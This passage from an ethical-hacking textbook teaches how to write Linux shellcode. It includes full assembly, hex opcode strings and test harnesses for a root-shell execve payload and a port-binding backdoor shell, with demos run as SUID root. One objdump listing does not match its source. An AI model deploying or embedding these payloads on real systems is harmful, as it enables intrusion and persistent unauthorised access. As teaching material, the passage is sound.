The next thing to consider is what you intend to do once you have code running within
the kernel. Unlike with user space, you certainly can’t do an execve and replace the current
process (the kernel in this case) with a process more to your liking. Also unlike with user
space, you will not have access to a large catalog of shared libraries from which to choose
functions that are useful to you. The notion of a system call ceases to exist in kernel space,
as code running in kernel space is already in “the system.” The only functions that you will
have access to initially will be those exported by the kernel. The interface to those functions
may ormay not be published, depending on the operating system that you are dealing
with. An excellent source of information on the Windows kernel programming
interface is Gary Nebbett’s book Windows NT/2000 Native API Reference. Once you are
familiar with the native Windows API, you will still be faced with the problem of locating
all of the functions that you wish to make use of. In the case of the Windows kernel, techniques
similar to those used for locating functions in user space can be employed, as the
Windows kernel (ntoskrnl.exe) is itself a Portable Executable (PE) file.
Stability becomes a huge concern when developing kernel level exploits. As mentioned
previously, one wrongmove in the kernel can bring down the entire system. Any shellcode
you use will need to take into account the effect your exploit will have on the thread that
you exploited. If the thread crashes or becomes unresponsive, the entire system may soon
follow. Proper cleanup is a very important piece of any kernel exploit. Another factor that
will influence the stability of the system is the state of any interrupt processing being conducted
by the kernel at the time of the exploit. Interrupts may need to be reenabled or
reset cleanly in order to allow the system to continue stable operation.
Ultimately, you may decide that the somewhat more forgiving environment of user
space is a more desirable place to be running code. This is exactly what many recent kernel
exploits do. By scanning the process list, a process with sufficiently high privileges
can be selected as a host for a new thread that will contain attacker-supplied code. Kernel
API functions can then be utilized to initialize and launch the new thread, which
runs in the context of the selected process.
While the low level details of kernel level exploits are beyond the scope of this book,
the fact that this is a rapidly evolving area is likely to make kernel exploitation tools and
techniques more and more accessible to the average security researcher. In the meantime,
the references listed next will serve as excellent starting points for those interested
in more detailed coverage of the topic.
References
Barnaby Jack http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf
Bugcheck and Skape www.uninformed.org/?v=3&a=4&t=txt
Gary Nebbett, Windows NT/2000 Native API Reference, Indianapolis: Sams Publishing, 2000
Chapter 9: Shellcode Strategies
209
PART III
This page intentionally left blank
211
CHAPTER10 Writing Linux Shellcode
In this chapter,we will cover various aspects of Linux shellcode.
• Basic Linux Shellcode
• System Calls
• Exit System Call
• Setreuid System Call
• Shell-Spawning Shellcode with execve
• Implementing Port-Binding Shellcode
• Linux Socket Programming
• Assembly Program to Establish a Socket
• Test the Shellcode
• Implementing Reverse Connecting Shellcode
• Reverse Connecting C Program
• Reverse Connecting Assembly Program
• Encoding Shellcode
• Simple XOR Encoding
• Structure of Encoded Shellcode
• JMP/CALL XOR Decoder Example
• FNSTENV XOR Example
• Putting It All Together
• Automating Shellcode Generation with Metasploit
In the previous chapters, we used Aleph1’s ubiquitous shellcode. In this chapter, we will
learn to write our own. Although the previously shown shellcode works well in the examples,
the exercise of creating your own isworthwhile because there will be many situations
where the standard shellcode does not work and you will need to create your own.
Basic Linux Shellcode
The term “shellcode” refers to self-contained binary code that completes a task. The task
may range from issuing a system command to providing a shell back to the attacker, as
was the original purpose of shellcode.
There are basically three ways to write shellcode:
• Directly write the hex opcodes.
• Write a program in a high level language like C, compile it, and then disassemble
it to obtain the assembly instructions and hex opcodes.
• Write an assembly program, assemble the program, and then extract the hex
opcodes from the binary.
Writing the hex opcodes directly is a little extreme. We will start with learning the C
approach, but quickly move to writing assembly, then to extraction of the opcodes. In
any event, you will need to understand low level (kernel) functions such as read, write,
and execute. Since these system functions are performed at the kernel level, we will need
to learn a little about how user processes communicate with the kernel.
System Calls
The purpose of the operating system is to serve as a bridge between the user (process)
and the hardware. There are basically three ways to communicate with the operating system
kernel:
• Hardware interrupts For example, an asynchronous signal from the keyboard
• Hardware traps For example, the result of an illegal “divide by zero” error
• Software traps For example, the request for a process to be scheduled for
execution
Software traps are the most useful to ethical hackers because they provide a method
for the user process to communicate to the kernel. The kernel abstracts some basic system
level functions from the user and provides an interface through a system call.
Definitions for system calls can be found on a Linux system in the following file:
$cat /usr/include/asm/unistd.h
#ifndef _ASM_I386_UNISTD_H_
#define _ASM_I386_UNISTD_H_
#define __NR_exit 1
...snip...
#define __NR_execve 11
...snip...
#define __NR_setreuid 70
...snip...
#define __NR_dup2 99
...snip...
#define __NR_socketcall 102
...snip...
#define __NR_exit_group 252
...snip...
In the next section, we will begin the process, starting with C.
Gray Hat Hacking: The Ethical Hacker’s Handbook
212
System Calls by C
At a C level, the programmer simply uses the system call interface by referring to the
function signature and supplying the proper number of parameters. The simplest way to
find out the function signature is to look up the function’s man page.
For example, to learn more about the execve system call, you would type
$man 2 execve
This would display the following man page:
EXECVE(2) Linux Programmer's Manual EXECVE(2)
NAME
execve - execute program
SYNOPSIS
#include
int execve(const char *filename, char *const argv [], char
*const envp[]);
DESCRIPTION
execve() executes the program pointed to by filename. filename
must be either a binary executable, or a script starting with a line of the
form "#! interpreter [arg]". In the latter case, the interpreter must be a
valid pathname for an executable which is not itself a script, which will
be invoked as interpreter [arg] filename.
argv is an array of argument strings passed to the new program.
envp is an array of strings, conventionally of the form key=value, which
are passed as environment to the new program. Both, argv and envp must
be terminated by a NULL pointer. The argument vector and envi-execve()
does not return on success, and the text, data, bss, and stack of the
calling process are overwritten by that of the program loaded. The
program invoked inherits the calling process's PID, and any open file
descriptors that are not set to close on exec. Signals pending on the
calling process are cleared. Any signals set to be caught by the calling
process are reset to their default behaviour.
...snipped...
As the next section shows, the previous system call can be implemented directly with
assembly.
System Calls by Assembly
At an assembly level, the following registries are loaded to make a system call:
• eax Used to load the hex value of the system call (see unistd.h earlier)
• ebx Used for first parameter—ecx is used for second parameter, edx for third,
esi for fourth, and edi for fifth
If more than five parameters are required, an array of the parameters must be stored
in memory and the address of that array stored in ebx.
Once the registers are loaded, an int 0x80 assembly instruction is called to issue a
software interrupt, forcing the kernel to stop what it is doing and handle the interrupt.
The kernel first checks the parameters for correctness, then copies the register values to
kernel memory space and handles the interrupt by referring to the Interrupt Descriptor
Table (IDT).
Chapter 10: Writing Linux Shellcode
213
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
214
The easiest way to understand this is to see an example, as in the next section.
Exit System Call
The first system call we will focus on executes exit(0). The signature of the exit system
call is as follows:
• eax 0x01 (from the unistd.h file earlier)
• ebx User-provided parameter (in this case 0)
Since this is our first attempt at writing system calls, we will start with C.
Starting with C
The following code will execute the function exit(0):
$ cat exit.c
#include
main(){
exit(0);
}
Go ahead and compile the program. Use the -static flag to compile in the library call to
exit as well.
$ gcc -static -o exit exit.c
NOTE If you receive the following error, you do not have the glibc-staticdevel
package installed on your system:
/usr/bin/ld: cannot find -lc
You can either install that rpm or try to remove the -static flag. Many recent
compilers will link in the exit call without the -static flag.
Now launch gdb in quiet mode (skip banner) with the -q flag. Start by setting a breakpoint
at the main function; then run the program with r. Finally, disassemble the _exit
function call with disass _exit.
$ gdb exit -q
(gdb) b main
Breakpoint 1 at 0x80481d6
(gdb) r
Starting program: /root/book/chapt11/exit
Breakpoint 1, 0x080481d6 in main ()
(gdb) disass _exit
Dump of assembler code for function _exit:
0x804c56c <_exit>: mov 0x4(%esp,1),%ebx
0x804c570 <_exit+4>: mov $0xfc,%eax
0x804c575 <_exit+9>: int $0x80
0x804c577 <_exit+11>: mov $0x1,%eax
0x804c57c <_exit+16>: int $0x80
0x804c57e <_exit+18>: hlt
0x804c57f <_exit+19>: nop
End of assembler dump.
(gdb) q
You can see that the function starts by loading our user argument into ebx (in our
case, 0). Next, line _exit+11 loads the value 0x1 into eax; then the interrupt (int $0x80)
is called at line _exit+16. Notice the compiler added a complimentary call to exit_group
(0xfc or syscall 252). The exit_group() call appears to be included to ensure that the
process leaves its containing thread group, but there is no documentation to be found
online. This was done by the wonderful people who packaged libc for this particular distribution
of Linux. In this case, that may have been appropriate—we cannot have extra
function calls introduced by the compiler for our shellcode. This is the reason that you
will need to learn to write your shellcode in assembly directly.
Move to Assembly
By looking at the preceding assembly, you will notice that there is no black magic here.
In fact, you could rewrite the exit(0) function call by simply using the assembly:
$cat exit.asm
section .text ; start code section of assembly
global _start
_start: ; keeps the linker from complaining or guessing
xor eax, eax ; shortcut to zero out the eax register (safely)
xor ebx, ebx ; shortcut to zero out the ebx register, see note
mov al, 0x01 ; only affects one bye, stops padding of other 24 bits
int 0x80 ; call kernel to execute syscall
We have left out the exit_group(0) syscall as it is not necessary.
Later it will become important that we eliminate NULL bytes from our hex opcodes,
as they will terminate strings prematurely.We have used the instruction mov al, 0x01 to
eliminate NULL bytes. The instruction move eax, 0x01 translates to hex B8 01 00 00 00
because the instruction automatically pads to 4 bytes. In our case, we only need to copy
1 byte, so the 8-bit equivalent of eax was used instead.
NOTE If you xor a number with itself, you get zero. This is preferable to
using something like move ax, 0, because that operation leads to NULL bytes
in the opcodes, which will terminate our shellcode when we place it into a
string.
In the next section, we will put the pieces together.
Assemble, Link, and Test
Once we have the assembly file, we can assemble it with nasm, link it with ld, then execute
the file as shown:
$nasm -f elf exit.asm
$ ld exit.o -o exit
$ ./exit
Not much happened, because we simply called exit(0), which exited the process
politely. Luckily for us, there is another way to verify.
Chapter 10: Writing Linux Shellcode
215
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
216
Verify with strace
As in our previous example, you may need to verify the execution of a binary to ensure
the proper system calls were executed. The strace tool is helpful:
0
_exit(0) = ?
As we can see, the _exit(0) syscall was executed! Now let’s try another system call.
setreuid System Call
As discussed in Chapter 7, the target of our attack will often be an SUID program. However,
well-written SUID programs will drop the higher privileges when not needed. In
this case, it may be necessary to restore those privileges before taking control. The
setreuid system call is used to restore (set) the process’s real and effective user IDs.
setreuid Signature
Remember, the highest privilege to have is that of root (0). The signature of the
setreuid(0,0) system call is as follows:
• eax 0x46 for syscall # 70 (from unistd.h file earlier)
• ebx First parameter, real user ID (ruid), in this case 0x0
• ecx Second parameter, effective user ID (euid), in this case 0x0
This time, we will start directly with the assembly.
Starting with Assembly
The following assembly file will execute the setreuid(0,0) system call:
$ cat setreuid.asm
section .text ; start the code section of the asm
global _start ; declare a global label
_start: ; keeps the linker from complaining or guessing
xor eax, eax ; clear the eax registry, prepare for next line
mov al, 0x46 ; set the syscall value to decimal 70 or hex 46, one byte
xor ebx, ebx ; clear the ebx registry, set to 0
xor ecx, ecx ; clear the ecx registry, set to 0
int 0x80 ; call kernel to execute the syscall
mov al, 0x01 ; set the syscall number to 1 for exit()
int 0x80 ; call kernel to execute the syscall
As you can see, we simply load up the registers and call int 0x80. We finish the function
call with our exit(0) system call, which is simplified because ebx already contains
the value 0x0.
Chapter 10: Writing Linux Shellcode
217
PART III
Assemble, Link, and Test
As usual, assemble the source file with nasm, link the file with ld, then execute the
binary:
$ nasm -f elf setreuid.asm
$ ld -o setreuid setreuid.o
$ ./setreuid
Verify with strace
Once again, it is difficult to tell what the program did; strace to the rescue:
0
setreuid(0, 0) = 0
_exit(0) = ?
Ah, just as we expected!
Shell-Spawning Shellcode with execve
There are several ways to execute a program on Linux systems. One of the most widely
used methods is to call the execve system call. For our purpose, we will use execve to execute
the /bin/sh program.
execve Syscall
As discussed in the man page at the beginning of this chapter, if we wish to execute the
/bin/sh program, we need to call the system call as follows:
char * shell[2]; //set up a temp array of two strings
shell[0]="/bin/sh"; //set the first element of the array to "/bin/sh"
shell[1]="0"; //set the second element to NULL
execve(shell[0], shell , NULL) //actual call of execve
where the second parameter is a two-element array containing the string “/bin/sh” and
terminated with a NULL. Therefore, the signature of the execve(“/bin/sh”, [“/bin/sh”,
NULL], NULL) syscall is as follows:
• eax 0xb for syscall #11 (actually al:0xb to remove NULLs from opcodes)
• ebx The char * address of /bin/sh somewhere in accessible memory
• ecx The char * argv[], an address (to an array of strings) starting with the
address of the previously used /bin/sh and terminated with a NULL
• edx Simply a 0x0, since the char * env[] argument may be NULL
The only tricky part here is the construction of the “/bin/sh” string and the use of its
address. We will use a clever trick by placing the string on the stack in two chunks and
then referencing the address of the stack to build the register values.
Starting with Assembly
The following assembly code executes setreuid(0,0), then calls execve “/bin/sh”:
$ cat sc2.asm
section .text ; start the code section of the asm
global _start ; declare a global label
_start: ; get in the habit of using code labels
;setreuid (0,0) ; as we have already seen…
xor eax, eax ; clear the eax registry, prepare for next line
mov al, 0x46 ; set the syscall # to decimal 70 or hex 46, one byte
xor ebx, ebx ; clear the ebx registry
xor ecx, ecx ; clear the exc registry
int 0x80 ; call the kernel to execute the syscall
;spawn shellcode with execve
xor eax, eax ; clears the eax registry, sets to 0
push eax ; push a NULL value on the stack, value of eax
push 0x68732f2f ; push '//sh' onto the stack, padded with leading '/'
push 0x6e69622f ; push /bin onto the stack, notice strings in reverse
mov ebx, esp ; since esp now points to "/bin/sh", write to ebx
push eax ; eax is still NULL, let's terminate char ** argv on stack
push ebx ; still need a pointer to the address of '/bin/sh', use ebx
mov ecx, esp ; now esp holds the address of argv, move it to ecx
xor edx, edx ; set edx to zero (NULL), not needed
mov al, 0xb ; set the syscall # to decimal 11 or hex b, one byte
int 0x80 ; call the kernel to execute the syscall
As just shown, the /bin/sh string is pushed onto the stack in reverse order by first
pushing the terminating NULL value of the string, next by pushing the //sh (4 bytes are
required for alignment and the second / has no effect). Finally, the /bin is pushed onto
the stack. At this point, we have all that we need on the stack, so esp now points to the
location of /bin/sh. The rest is simply an elegant use of the stack and register values to
set up the arguments of the execve system call.
Assemble, Link, and Test
Let’s check our shellcode by assembling with nasm, linking with ld, making the program
an SUID, and then executing it:
$ nasm -f elf sc2.asm
$ ld -o sc2 sc2.o
$ sudo chown root sc2
$ sudo chmod +s sc2
$ ./sc2
sh-2.05b# exit
Wow! It worked!
Extracting the Hex Opcodes (Shellcode)
Remember, to use our new program within an exploit, we need to place our program
inside a string. To obtain the hex opcodes, we simply use the objdump tool with the -d
flag for disassembly:
Gray Hat Hacking: The Ethical Hacker’s Handbook
218
$ objdump -d ./sc2
./sc2: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: b0 46 mov $Ox46,%al
8048084: 31 db xor %ebx,%ebx
8048086: 31 c9 xor %ecx,%ecx
8048088: cd 80 int $Ox80
804808a: 31 c0 xor %eax,%eax
804808c: 50 push %eax
804808d: 68 2f 2f 73 68 push $Ox68732f2f
8048092: 68 2f 62 69 6e push $Ox6e69622f
8048097: 89 e3 mov %esp,%ebx
8048099: 50 push %eax
804809a: 53 push %ebx
804809b: 89 e1 mov %esp,%ecx
804809d: 31 d2 xor %edx,%edx
804809f: b0 0b mov $Oxb,%al
80480a1: cd 80 int $Ox80
$
The most important thing about this printout is to verify that no NULL characters
(\x00) are present in the hex opcodes. If there are any NULL characters, the shellcode
will fail when we place it into a string for injection during an exploit.
NOTE The output of objdump is provided in AT&T (gas) format. As
discussed in Chapter 6,we can easily convert between the two formats (gas
and nasm). A close comparison between the code we wrote and the
provided gas format assembly shows no difference.
Testing the Shellcode
To ensure that our shellcode will execute when contained in a string, we can craft the following
test program. Notice how the string (sc) may be broken into separate lines, one
for each assembly instruction. This aids with understanding and is a good habit to get
into.
$ cat sc2.c
char sc[] = //white space, such as carriage returns don't matter
// setreuid(0,0)
"\x31\xc0" // xor %eax,%eax
"\xb0\x46" // mov $0x46,%al
"\x31\xdb" // xor %ebx,%ebx
"\x31\xc9" // xor %ecx,%ecx
"\xcd\x80" // int $0x80
// spawn shellcode with execve
"\x31\xc0" // xor %eax,%eax
"\x50" // push %eax
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp,%ebx
"\x50" // push %eax
"\x53" // push %ebx
"\x89\xe1" // mov %esp,%ecx
Chapter 10: Writing Linux Shellcode
219
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
220
"\x31\xd2" // xor %edx,%edx
"\xb0\x0b" // mov $0xb,%al
"\xcd\x80"; // int $0x80 (;)terminates the string
main()
{
void (*fp) (void); // declare a function pointer, fp
fp = (void *)sc; // set the address of fp to our shellcode
fp(); // execute the function (our shellcode)
}
This program first places the hex opcodes (shellcode) into a buffer called sc[]. Next
the main function allocates a function pointer called fp (simply a 4-byte integer that
serves as an address pointer, used to point at a function). The function pointer is then set
to the starting address of sc[]. Finally, the function (our shellcode) is executed.
Now compile and test the code:
$ gcc -o sc2 sc2.c
$ sudo chown root sc2
$ sudo chmod +s sc2
$ ./sc2
sh-2.05b# exit
exit
As expected, the same results are obtained. Congratulations, you can now write your
own shellcode!
References
Aleph One, “Smashing the Stack” www.phrack.org/archives/49/P49-14
Murat Balaban, Shellcode Demystified www.enderunix.org/docs/en/sc-en.txt
Jon Erickson, Hacking: The Art of Exploitation (San Francisco: No Starch Press, 2003)
Koziol et al., The Shellcoder’s Handbook (Indianapolis: Wiley Publishing, 2004)
Implementing Port-Binding Shellcode
As discussed in the last chapter, sometimes it is helpful to have your shellcode open a
port and bind a shell to that port. This allows the attacker to no longer rely on the port
that entry was gained on and provides a solid backdoor into the system.
Linux Socket Programming
Linux socket programming deserves a chapter to itself, if not an entire book. However, it
turns out that there are just a few things you need to know to get off the ground. The
finer details of Linux socket programming are beyond the scope of this book, but here
goes the short version. Buckle up again!
C Program to Establish a Socket
In C, the following header files need to be included into your source code to build
sockets:
#include //libraries used to make a socket
#include //defines the sockaddr structure
The first concept to understand when building sockets is byte order.
IP Networks Use Network Byte Order
As we learned before, when programming on Linux systems, we need to understand that
data is stored into memory by writing the lower-order bytes first; this is called littleendian
notation. Just when you got used to that, you need to understand that IP networks
work by writing the high-order byte first; this is referred to as network byte order. In
practice, this is not difficult to work around. You simply need to remember that bytes
will be reversed into network byte order prior to being sent down the wire.
The second concept to understand when building sockets is the sockaddr structure.
sockaddr Structure
In C programs, structures are used to define an object that has characteristics contained
in variables. These characteristics or variables may be modified and the object may be
passed as an argument to functions. The basic structure used in building sockets is called
a sockaddr. The sockaddr looks like this:
struct sockaddr {
unsigned short sa_family; /*address family*/
char sa_data[14]; /*address data*/
};
The basic idea is to build a chunk of memory that holds all the critical information of
the socket, namely the type of address family used (in our case IP, Internet Protocol), the
IP address, and the port to be used. The last two elements are stored in the sa_data field.
To assist in referencing the fields of the structure, a more recent version of sockaddr
was developed: sockaddr_in. The sockaddr_in structure looks like this:
struct sockaddr_in {
short int sin_family /* Address family */
unsigned short int sin_port; /* Port number */
struct in_addr sin_addr; /* Internet address */
unsigned char sin_zero[8]; /* 8 bytes of NULL padding for IP */
};
The first three fields of this structure must be defined by the user prior to establishing
a socket. We will be using an address family of 0x2, which corresponds to IP (network
byte order). Port number is simply the hex representation of the port used. The Internet
address is obtained by writing the octets of the IP (each in hex notation) in reverse order,
starting with the fourth octet. For example, 127.0.0.1 would be written 0x0100007F. The
value of 0 in the sin_addr field simply means for all local addresses. The sin_zero field
pads the size of the structure by adding 8 NULL bytes. This may all sound intimidating,
Chapter 10: Writing Linux Shellcode
221
PART III
Gray Hat Hacking: The Ethical Hacker’s Handbook
222
but in practice, we only need to know that the structure is a chunk of memory used to
store the address family type, port, and IP address. Soon we will simply use the stack to
build this chunk of memory.
Sockets
Sockets are defined as the binding of a port and an IP to a process. In our case, we will
most often be interested in binding a command shell process to a particular port and IP
on a system.
The basic steps to establish a socket are as follows (including C function calls):
1. Build a basic IP socket:
server=socket(2,1,0)
2. Build a sockaddr_in structure with IP and port:
struct sockaddr_in serv_addr; //structure to hold IP/port vals
serv_addr.sin_addr.s_addr=0;//set addresses of socket to all localhost IPs
serv_addr.sin_port=0xBBBB;//set port of socket, in this case to 48059
serv_addr.sin_family=2; //set native protocol family: IP
3. Bind the port and IP to the socket:
bind(server,(struct sockaddr *)&serv_addr,0x10)
4. Start the socket in listen mode; open the port and wait for a connection:
listen(server, 0)
5. When a connection is made, return a handle to the client:
client=accept(server, 0, 0)
6. Copy stdin, stdout, and stderr pipes to the connecting client:
dup2(client, 0), dup2(client, 1), dup2(client, 2)
7. Call normal execve shellcode, as in the first section of this chapter:
char * shell[2]; //set up a temp array of two strings
shell[0]="/bin/sh"; //set the first element of the array to "/bin/sh"
shell[1]="0"; //set the second element to NULL
execve(shell[0], shell , NULL) //actual call of execve
port_bind.c
To demonstrate the building of sockets, let’s start with a basic C program:
$ cat ./port_bind.c
#include //libraries used to make a socket
#include //defines the sockaddr structure
int main(){
char * shell[2]; //prep for execve call
int server,client; //file descriptor handles
struct sockaddr_in serv_addr; //structure to hold IP/port vals
server=socket(2,1,0); //build a local IP socket of type stream
serv_addr.sin_addr.s_addr=0;//set addresses of socket to all local
serv_addr.sin_port=0xBBBB;//set port of socket, 48059 here
serv_addr.sin_family=2; //set native protocol family: IP
bind(server,(struct sockaddr *)&serv_addr,0x10); //bind socket
listen(server,0); //enter listen state, wait for connect
client=accept(server,0,0);//when connect, return client handle
/*connect client pipes to stdin,stdout,stderr */
dup2(client,0); //connect stdin to client
dup2(client,1); //connect stdout to client
dup2(client,2); //connect stderr to client
shell[0]="/bin/sh"; //first argument to execve
shell[1]=0; //terminate array with NULL
execve(shell[0],shell,0); //pop a shell
}
This program sets up some variables for use later to include the sockaddr_in structure.
The socket is initialized and the handle is returned into the server pointer (int
serves as a handle). Next the characteristics of the sockaddr_in structure are set. The
sockaddr_in structure is passed along with the handle to the server to the bind function
(which binds the process, port, and IP together). Then the socket is placed in the listen
state, meaning it waits for a connection on the bound port. When a connection is made,
the program passes a handle to the socket to the client handle. This is done so the stdin,
stdout, and stderr of the server can be duplicated to the client, allowing the client to
communicate with the server. Finally, a shell is popped and returned to the client.
Assembly Program to Establish a Socket
To summarize the previous section, the basic steps to establish a socket are
• server=socket(2,1,0)
• bind(server,(struct sockaddr *)&serv_addr,0x10)
• listen(server, 0)
• client=accept(server, 0, 0)
• dup2(client, 0), dup2(client, 1), dup2(client, 2)
• execve “/bin/sh”
There is only one more thing to understand before moving to the assembly.
socketcall System Call
In Linux, sockets are implemented by using the socketcall system call (102). The
socketcall system call takes two arguments:
• ebx An integer value, defined in /usr/include/net.h
To build a basic socket, you will only need
• SYS_SOCKET 1
• SYS_BIND 2
Chapter 10: Writing Linux Shellcode
223
PART III
• SYS_CONNECT 3
• SYS_LISTEN 4
• SYS_ACCEPT 5
• ecx A pointer to an array of arguments for the particular function
Believe it or not, you now have all you need to jump into assembly socket programs.
port_bind_asm.asm
Armed with this info, we are ready to start building the assembly of a basic program to
bind the port 48059 to the localhost IP and wait for connections. Once a connection is
gained, the program will spawn a shell and provide it to the connecting client.
NOTE The following code segment can seem intimidating, but it is quite
simple. Refer back to the previous sections, in particular the last section, and
realize that we are just implementing the system calls (one after another).
# cat ./port_bind_asm.asm
BITS 32
section .text
global _start
_start:
xor eax,eax ;clear eax
xor ebx,ebx ;clear ebx
xor edx,edx ;clear edx
;server=socket(2,1,0)
push eax ; third arg to socket: 0
push byte 0x1 ; second arg to socket: 1
push byte 0x2 ; first arg to socket: 2
mov ecx,esp ; set addr of array as 2nd arg to socketcall
inc bl ; set first arg to socketcall to # 1
mov al,102 ; call socketcall # 1: SYS_SOCKET
int 0x80 ; jump into kernel mode, execute the syscall
mov esi,eax ; store the return value (eax) into esi (server)
;bind(server,(struct sockaddr *)&serv_addr,0x10)
push edx ; still zero, terminate the next value pushed
push long 0xBBBB02BB ; build struct:port,sin.family:02,& any 2bytes:BB
mov ecx,esp ; move addr struct (on stack) to ecx
push byte 0x10 ; begin the bind args, push 16 (size) on stack
push ecx ; save address of struct back on stack
push esi ; save server file descriptor (now in esi) to stack
mov ecx,esp ; set addr of array as 2nd arg to socketcall
inc bl ; set bl to # 2, first arg of socketcall
mov al,102 ; call socketcall # 2: SYS_BIND
int 0x80 ; jump into kernel mode, execute the syscall
;listen(server, 0)
push edx ; still zero, used to terminate the next value pushed
push esi ; file descriptor for server (esi) pushed to stack
mov ecx,esp ; set addr of array as 2nd arg to socketcall
Gray Hat Hacking: The Ethical Hacker’s Handbook
224
mov bl,0x4 ; move 4 into bl, first arg of socketcall
mov al,102 ; call socketcall #4: SYS_LISTEN
int 0x80 ; jump into kernel mode, execute the syscall
;client=accept(server, 0, 0)
push edx ; still zero, third argument to accept pushed to stack
push edx ; still zero, second argument to accept pushed to stack
push esi ; saved file descriptor for server pushed to stack
mov ecx,esp ; args placed into ecx, serves as 2nd arg to socketcall
inc bl ; increment bl to 5, first arg of socketcall
mov al,102 ; call socketcall #5: SYS_ACCEPT
int 0x80 ; jump into kernel mode, execute the syscall
; prepare for dup2 commands, need client file handle saved in ebx
mov ebx,eax ; copied returned file descriptor of client to ebx
;dup2(client, 0)
xor ecx,ecx ; clear ecx
mov al,63 ; set first arg of syscall to 0x63: dup2
int 0x80 ; jump into
;dup2(client, 1)
inc ecx ; increment ecx to 1
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;dup2(client, 2)
inc ecx ; increment ecx to 2
mov al,63 ; prepare for syscall to dup2:63
int 0x80 ; jump into
;standard execve("/bin/sh"...
push edx
push long 0x68732f2f
push long 0x6e69622f
mov ebx,esp
push edx
push ebx
mov ecx,esp
mov al, 0x0b
int 0x80
#
Thatwas quite a long piece of assembly, but you should be able to followit by now.
NOTE Port 0xBBBB = decimal 48059. Feel free to change this value and
connect to any free port you like.
Assemble the source file, link the program, and execute the binary.
# nasm -f elf port_bind_asm.asm
# ld -o port_bind_asm port_bind_asm.o
# ./port_bind_asm
Chapter 10: Writing Linux Shellcode
225
PART III
At this point, we should have an open port: 48059. Let’s open another command
shell and check:
# netstat -pan |grep port_bind_asm
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN
10656/port_bind
Looks good; now fire up netcat, connect to the socket, and issue a test command.
# nc localhost 48059
id
uid=0(root) gid=0(root) groups=0(root)
Yep, it worked as planned. Smile and pat yourself on the back; you earned it.
Test the Shellcode
Finally, we get to the port binding shellcode. We need to carefully extract the hex
opcodes and then test them by placing the shellcode into a string and executing it.
Extracting the Hex Opcodes
Once again, we fall back on using the objdump tool:
$objdump -d ./port_bind_asm
port_bind: file format elf32-i386
Disassembly of section .text:
08048080 <_start>:
8048080: 31 c0 xor %eax,%eax
8048082: 31 db xor %ebx,%ebx
8048084: 31 d2 xor %edx,%edx
8048086: 50 push %eax
8048087: 6a 01 push $0x1
8048089: 6a 02 push $0x2
804808b: 89 e1 mov %esp,%ecx
804808d: fe c3 inc %bl
804808f: b0 66 mov $0x66,%al
8048091: cd 80 int $0x80
8048093: 89 c6 mov %eax,%esi
8048095: 52 push %edx
8048096: 68 aa 02 aa aa push $0xaaaa02aa
804809b: 89 e1 mov %esp,%ecx
804809d: 6a 10 push $0x10
804809f: 51 push %ecx
80480a0: 56 push %esi
80480a1: 89 e1 mov %esp,%ecx
80480a3: fe c3 inc %bl
80480a5: b0 66 mov $0x66,%al
80480a7: cd 80 int $0x80
80480a9: 52 push %edx
80480aa: 56 push %esi
80480ab: 89 e1 mov %esp,%ecx
80480ad: b3 04 mov $0x4,%bl
80480af: b0 66 mov $0x66,%al
80480b1: cd 80 int $0x80
Gray Hat Hacking: The Ethical Hacker’s Handbook
226
80480b3: 52 push %edx
80480b4: 52 push %edx
80480b5: 56 push %esi
80480b6: 89 e1 mov %esp,%ecx
80480b8: fe c3 inc %bl
80480ba: b0 66 mov $0x66,%al
80480bc: cd 80 int $0x80
80480be: 89 c3 mov %eax,%ebx
80480c0: 31 c9 xor %ecx,%ecx
80480c2: b0 3f mov $0x3f,%al
80480c4: cd 80 int $0x80
80480c6: 41 inc %ecx
80480c7: b0 3f mov $0x3f,%al
80480c9: cd 80 int $0x80
80480cb: 41 inc %ecx
80480cc: b0 3f mov $0x3f,%al
80480ce: cd 80 int $0x80
80480d0: 52 push %edx
80480d1: 68 2f 2f 73 68 push $0x68732f2f
80480d6: 68 2f 62 69 6e push $0x6e69622f
80480db: 89 e3 mov %esp,%ebx
80480dd: 52 push %edx
80480de: 53 push %ebx
80480df: 89 e1 mov %esp,%ecx
80480e1: b0 0b mov $0xb,%al
80480e3: cd 80 int $0x80
A visual inspection verifies that we have no NULL characters (\x00), so we should be
good to go. Now fire up your favorite editor (hopefully vi) and turn the opcodes into
shellcode.
port_bind_sc.c
Once again, to test the shellcode, we will place it into a string and run a simple test program
to execute the shellcode:
# cat port_bind_sc.c
char sc[]= // our new port binding shellcode, all here to save pages
"\x31\xc0\x31\xdb\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe\xc3\xb0"
"\x66\xcd\x80\x89\xc6\x52\x68\xbb\x02\xbb\xbb\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x52\x56\x89\xe1\xb3\x04\xb0"
"\x66\xcd\x80\x52\x52\x56\x89\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3"
"\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80"
"\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89"
"\xe1\xb0\x0b\xcd\x80";
main(){
void (*fp) (void); // declare a function pointer, fp
fp = (void *)sc; // set the address of the fp to our shellcode
fp(); // execute the function (our shellcode)
}
Compile the program and start it:
# gcc -o port_bind_sc port_bind_sc.c
# ./port_bind_sc
Chapter 10: Writing Linux Shellcode
227
PART III
In another shell, verify the socket is listening. Recall, we used the port 0xBBBB in our
shellcode, so we should see port 48059 open.
# netstat -pan |grep port_bind_sc
tcp 0 0 0.0.0.0:48059 0.0.0.0:* LISTEN
21326/port_bind_sc
CAUTION When testing this program and the others in this chapter, if you
run them repeatedly, you may get a state of TIME WAIT or FIN WAIT. You
will need to wait for internal kernel TCP timers to expire, or simply change
the port to another one if you are impatient.
Finally, switch to a normal user and connect:
# su joeuser
$ nc localhost 48059
id
uid=0(root) gid=0(root) groups=0(root)
exit
$
Success!
References
Smiler, “Writing Shellcode” http://community.corest.com/~juliano/art-shellcode.txt
